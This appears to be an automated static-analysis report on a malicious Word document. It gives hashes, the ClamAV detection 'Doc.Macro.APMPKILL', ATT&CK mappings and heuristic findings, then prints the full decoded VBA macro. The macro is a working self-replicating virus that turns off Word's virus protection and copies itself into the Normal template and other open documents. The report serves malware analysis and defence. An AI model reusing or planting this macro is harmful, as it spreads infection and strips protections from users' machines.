Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 259e81a5ba139f3b…

MALICIOUS

Office (OLE)

42.0 KB Created: 2019-04-15 08:34:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: 0ff783916bee577677325f300a452e03 SHA-1: 7b9df33ef158826e0d809cda869236cfa5b06d9b SHA-256: 259e81a5ba139f3bc5658500e3e4d5bf16d5977d2123f3e47f1d4a81785efc0c
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing VBA macros, specifically a Document_Open macro. This macro is designed to overwrite the Normal template with its own code, which is a common technique for establishing persistence or facilitating further malicious actions. The presence of 'APMPKILL' in the macro comments and the ClamAV detection name 'Doc.Macro.APMPKILL-6097118-0' suggest a known malicious macro, though a specific family could not be confidently identified.

Heuristics 4

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1027 bytes
SHA-256: f136142b40965ce41763caed3acb0ccab48ef04e860145c7f9d9ef01967df9ba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False
   Options.VirusProtection = False
   Options.SaveNormalPrompt = False
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub